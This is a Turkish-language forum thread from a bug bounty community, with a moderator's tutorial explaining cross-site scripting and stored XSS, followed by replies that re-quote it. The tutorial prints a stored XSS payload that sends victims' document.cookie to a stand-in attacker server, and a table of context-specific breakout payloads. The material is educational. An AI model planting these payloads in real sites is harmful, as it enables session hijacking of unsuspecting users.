Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

XSS Mantığı ve Stored XSS

0bat.exe1

Moderator
Aday
Katılım
2 Ocak 2026
Mesajlar
14
Tepkime puanı
34
Puan
13

cross-site-xss.jpg

Web sayfası nasıl oluşuyor? (En temel mantık)

Bir web sayfası açtığında tarayıcın (Chrome, Firefox vs.) şunları yapar:
  1. Sunucudan HTML kodu gelir
  2. Tarayıcı bu HTML’i satır satır okur
  3. <tag> gördüğü yerde “Aa bu bir etiket” der
  4. Özellikle <script> … </script> gördüğü anda içindeki metni JavaScript kodu olarak algılar ve hemen çalıştırır
  5. <img src="..."> gördüğünde resmi indirir
  6. onerror="kod" gördüğünde hata olursa kodu çalıştırır.
Yani tarayıcı HTML’i pasif bir metin olarak görmüyor.HTML içindeki bazı parçaları aktif talimat olarak yorumluyor. (Bu kısım tamamsa çok iyi, tagleri tanımak vs.. lazım o kısım size kalmış)

XSS’in temel mantığı ne?

1- Bir yorum alanından yola çıkalım; normalde bir sitede senin yazdığın yorum şöyle olmalı: - "Kullanıcı yorumu: "Bughane Academy harika bir forum, tavsiye ederim!"
2- Site bunu veritabanına kaydeder → sonra sayfaya koyarken şöyle basar: - <div class="yorum">Bughane Academy harika bir forum, tavsiye ederim!"</div>
3- Ama site güvenlik önlemi almazsa sen şöyle bir şey yazabiliyorsun: Kullanıcı yorumu: - Bughane Academy harika bir forum <script>alert('Hacked!');</script> tavsiye ederim!
4- Site bunu aynı şekilde veritabanına kaydediyor ve sayfaya şöyle basıyor: - <div class="yorum">Bughane Academy harika bir forum <script>alert('Hacked!');</script> tavsiye ederim!</div>


Tarayıcı bu HTML’i okurken <script> etiketini görüyor ve içindeki JavaScript’i hemen çalıştırıyor.İşte bu olay XSS (Cross-Site Scripting) oluyor.

Yani XSS’in özü şu cümle: "Site, kullanıcıdan gelen veriyi HTML’e olduğu gibi yazarsa, tarayıcı o veriyi kod olarak çalıştırır."

Stored XSS neden “stored / kalıcı” oluyor?


Stored XSS’te bu olay bir kere oluyor ama etkisi kalıcı hale geliyor. Adım adım mekanizma şöyle:
  1. Saldırgan (sen diyelim 😈) yorum bırakma yerine şu payload’u giriyor: <script>fetch('https://benim-sunucum.com/çal?cookie='+document.cookie)</script>
  2. Site bu metni kontrol etmeden veritabanına kaydediyor(örneğin MySQL tablosuna yorum sütununa direkt yazıyor)
  3. Başka bir kullanıcı (kurban) aynı sayfayı açıyor→ Sunucu veritabanından o yorumu çekiyor→ HTML’e çıktı olarak olduğu gibi basıyor: <div class="yorum"> <script>fetch('https://benim-sunucum.com/çal?cookie='+document.cookie)</script></div>
  4. Kurbanın tarayıcısı sayfayı render ederken: <script> etiketini görüyor → İçindeki JavaScript’i kurbanın tarayıcısında çalıştırıyor → Kod document.cookie’yi alıp senin sunucuna gönderiyor → kurbanın oturum çerezi çalınıyor.
Ve bu yorum veritabanında kaldığı sürece her sayfayı açan kişide aynı kod tekrar tekrar çalışacak.O yüzden buna persistent / stored / kalıcı XSS deniyor.

Aslında XSS sadece JavaScript ile sınırlı değil ama en tehlikeli ve en yaygın olanı JavaScript olduğu için ona odaklanıyoruz. Çünkü, tarayıcıda en güçlü yetkiye sahip dil JavaScript. document.cookie, localStorage, fetch, XMLHttpRequest, location gibi şeyleri kontrol edebiliyor, DOM’u değiştirebiliyor (sahte login ekranı göstermek, tuş vuruşlarını kaydetmek vs.) Ama teorik olarak VBScript (çok eski), <iframe>, <object>, <embed>, SVG içindeki script vs. de kullanılabiliyor.


Farklı context’ler (bağlamlar) neden önemli?

Nereye basılıyor?Örnek HTML çıktısıÇalışan basit payload örneği
Normal HTML içeriği<p>Kullanıcı: X </p><script>alert(1)</script>
HTML attribute içinde<img src="X" alt="foto">" onload=alert(1) // veya x" onerror=alert(1)
JavaScript string içindevar isim = "X";"; alert(1); //
JSON içinde{"yorum": "X"}</script><script>alert(1)</script>
CSS içindebackground: url('X')x); expression(alert(1)) (eski IE’lerde)

Site veriyi nereye basarsa bassın, tarayıcı farklı yerlerde farklı kurallarla yorumluyor: işte bu yüzden aynı her yerde çalışmıyor. Site veriyi hangi bağlama koyarsa, o bağlama uygun bypass payload’u bulman lazım.

Özetle Mantık ve Adımlar

  1. Kullanıcı → siteye veri gönderir (yorum, isim, başlık vs.)
  2. Site → veriyi kontrol etmeden / filtrelemeden veritabanına kaydeder
  3. Site → veritabanından veriyi çeker
  4. Site → veriyi HTML’e çıktı escaping yapmadan yazar
  5. Tarayıcı → o HTML’i okurken <script>, onerror, onload vs. gördüğü yerde içindeki kodu kurbanın yetkileriyle çalıştırır.

Not: XSS' in varlığı ve bulunma olasılığı/oranı yüksek olsa da öğrenme sürecinin istediği zaman ve enerjiden kaynaklı bir türlü sevemedim ve sevemiycem hiç kusuruma bakmasın. Her yerde diye onun peşinden koşamam, ben sevdiklerimin peşinden gitmeyi tercih ediyorum (API - Information Dis. - Race Condition - SSRF) Tavsiyem zevk aldığınız zafiyete odaklanın (zaten zorlu bir süreç birde sıkıla sıkıla ilerlemeye çalışmayın...)
 
Xss mantığı açısından çok faydalı olmuş hocam. Detaylar xssi yerine oturtuyor. Ellerinize emeğinize sağlık
 
*** Gizli metin: alıntı yapılamaz. ***

Ekli dosyayı görüntüle 254

Web sayfası nasıl oluşuyor? (En temel mantık)

Bir web sayfası açtığında tarayıcın (Chrome, Firefox vs.) şunları yapar:
  1. Sunucudan HTML kodu gelir
  2. Tarayıcı bu HTML’i satır satır okur
  3. <tag> gördüğü yerde “Aa bu bir etiket” der
  4. Özellikle <script> … </script> gördüğü anda içindeki metni JavaScript kodu olarak algılar ve hemen çalıştırır
  5. <img src="..."> gördüğünde resmi indirir
  6. onerror="kod" gördüğünde hata olursa kodu çalıştırır.
Yani tarayıcı HTML’i pasif bir metin olarak görmüyor.HTML içindeki bazı parçaları aktif talimat olarak yorumluyor. (Bu kısım tamamsa çok iyi, tagleri tanımak vs.. lazım o kısım size kalmış)

XSS’in temel mantığı ne?

1- Bir yorum alanından yola çıkalım; normalde bir sitede senin yazdığın yorum şöyle olmalı: - "Kullanıcı yorumu: "Bughane Academy harika bir forum, tavsiye ederim!"
2- Site bunu veritabanına kaydeder → sonra sayfaya koyarken şöyle basar: - <div class="yorum">Bughane Academy harika bir forum, tavsiye ederim!"</div>
3- Ama site güvenlik önlemi almazsa sen şöyle bir şey yazabiliyorsun: Kullanıcı yorumu: - Bughane Academy harika bir forum <script>alert('Hacked!');</script> tavsiye ederim!
4- Site bunu aynı şekilde veritabanına kaydediyor ve sayfaya şöyle basıyor: - <div class="yorum">Bughane Academy harika bir forum <script>alert('Hacked!');</script> tavsiye ederim!</div>


Tarayıcı bu HTML’i okurken <script> etiketini görüyor ve içindeki JavaScript’i hemen çalıştırıyor.İşte bu olay XSS (Cross-Site Scripting) oluyor.

Yani XSS’in özü şu cümle: "Site, kullanıcıdan gelen veriyi HTML’e olduğu gibi yazarsa, tarayıcı o veriyi kod olarak çalıştırır."

Stored XSS neden “stored / kalıcı” oluyor?


Stored XSS’te bu olay bir kere oluyor ama etkisi kalıcı hale geliyor. Adım adım mekanizma şöyle:
  1. Saldırgan (sen diyelim 😈) yorum bırakma yerine şu payload’u giriyor: <script>fetch('https://benim-sunucum.com/çal?cookie='+document.cookie)</script>
  2. Site bu metni kontrol etmeden veritabanına kaydediyor(örneğin MySQL tablosuna yorum sütununa direkt yazıyor)
  3. Başka bir kullanıcı (kurban) aynı sayfayı açıyor→ Sunucu veritabanından o yorumu çekiyor→ HTML’e çıktı olarak olduğu gibi basıyor: <div class="yorum"> <script>fetch('https://benim-sunucum.com/çal?cookie='+document.cookie)</script></div>
  4. Kurbanın tarayıcısı sayfayı render ederken: <script> etiketini görüyor → İçindeki JavaScript’i kurbanın tarayıcısında çalıştırıyor → Kod document.cookie’yi alıp senin sunucuna gönderiyor → kurbanın oturum çerezi çalınıyor.
Ve bu yorum veritabanında kaldığı sürece her sayfayı açan kişide aynı kod tekrar tekrar çalışacak.O yüzden buna persistent / stored / kalıcı XSS deniyor.

Aslında XSS sadece JavaScript ile sınırlı değil ama en tehlikeli ve en yaygın olanı JavaScript olduğu için ona odaklanıyoruz. Çünkü, tarayıcıda en güçlü yetkiye sahip dil JavaScript. document.cookie, localStorage, fetch, XMLHttpRequest, location gibi şeyleri kontrol edebiliyor, DOM’u değiştirebiliyor (sahte login ekranı göstermek, tuş vuruşlarını kaydetmek vs.) Ama teorik olarak VBScript (çok eski), <iframe>, <object>, <embed>, SVG içindeki script vs. de kullanılabiliyor.


Farklı context’ler (bağlamlar) neden önemli?

Nereye basılıyor?Örnek HTML çıktısıÇalışan basit payload örneği
Normal HTML içeriği<p>Kullanıcı: X </p><script>alert(1)</script>
HTML attribute içinde<img src="X" alt="foto">" onload=alert(1) // veya x" onerror=alert(1)
JavaScript string içindevar isim = "X";"; alert(1); //
JSON içinde{"yorum": "X"}</script><script>alert(1)</script>
CSS içindebackground: url('X')x); expression(alert(1)) (eski IE’lerde)

Site veriyi nereye basarsa bassın, tarayıcı farklı yerlerde farklı kurallarla yorumluyor: işte bu yüzden aynı her yerde çalışmıyor. Site veriyi hangi bağlama koyarsa, o bağlama uygun bypass payload’u bulman lazım.

Özetle Mantık ve Adımlar

  1. Kullanıcı → siteye veri gönderir (yorum, isim, başlık vs.)
  2. Site → veriyi kontrol etmeden / filtrelemeden veritabanına kaydeder
  3. Site → veritabanından veriyi çeker
  4. Site → veriyi HTML’e çıktı escaping yapmadan yazar
  5. Tarayıcı → o HTML’i okurken <script>, onerror, onload vs. gördüğü yerde içindeki kodu kurbanın yetkileriyle çalıştırır.

Not: XSS' in varlığı ve bulunma olasılığı/oranı yüksek olsa da öğrenme sürecinin istediği zaman ve enerjiden kaynaklı bir türlü sevemedim ve sevemiycem hiç kusuruma bakmasın. Her yerde diye onun peşinden koşamam, ben sevdiklerimin peşinden gitmeyi tercih ediyorum (API - Information Dis. - Race Condition - SSRF) Tavsiyem zevk aldığınız zafiyete odaklanın (zaten zorlu bir süreç birde sıkıla sıkıla ilerlemeye çalışmayın...)
Based bulsam bi tane havalara ucucam... :D ellerine saglik
 
Son düzenleme:
Geri
Üst